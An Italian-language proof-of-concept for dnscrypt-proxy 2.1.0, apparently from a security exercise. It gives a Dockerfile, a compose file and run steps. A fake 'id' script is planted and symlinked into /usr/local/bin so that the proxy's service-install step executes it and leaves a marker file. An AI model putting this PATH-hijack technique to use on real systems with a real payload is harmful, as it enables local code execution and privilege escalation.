
docker compose up --build
Una volta completate la build e l'esecuzione, il container viene creato.
Accesso all'interno del container:
docker run -it --privileged dnscrypt-poc-poc bash
All'interno del container:
/tmp/id
cat /tmp/poc_was_here
Se viene stampato Pwned_from_Docker, il PoC è riuscito.
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
git \
golang-go \
sudo
WORKDIR /workspace
RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
cd dnscrypt-proxy && \
git checkout tags/2.1.0 && \
go build -o proxy ./dnscrypt-proxy
RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
chmod +x /tmp/id && \
ln -sf /tmp/id /usr/local/bin/id
CMD ["./dnscrypt-proxy/proxy", "-service", "install"]
version: "3.8"
services:
poc:
build: .
container_name: dnscrypt-poc
privileged: true
tty: true

Per un'analisi più dettagliata e i risultati dell'esercitazione, fare riferimento al seguente documento PDF: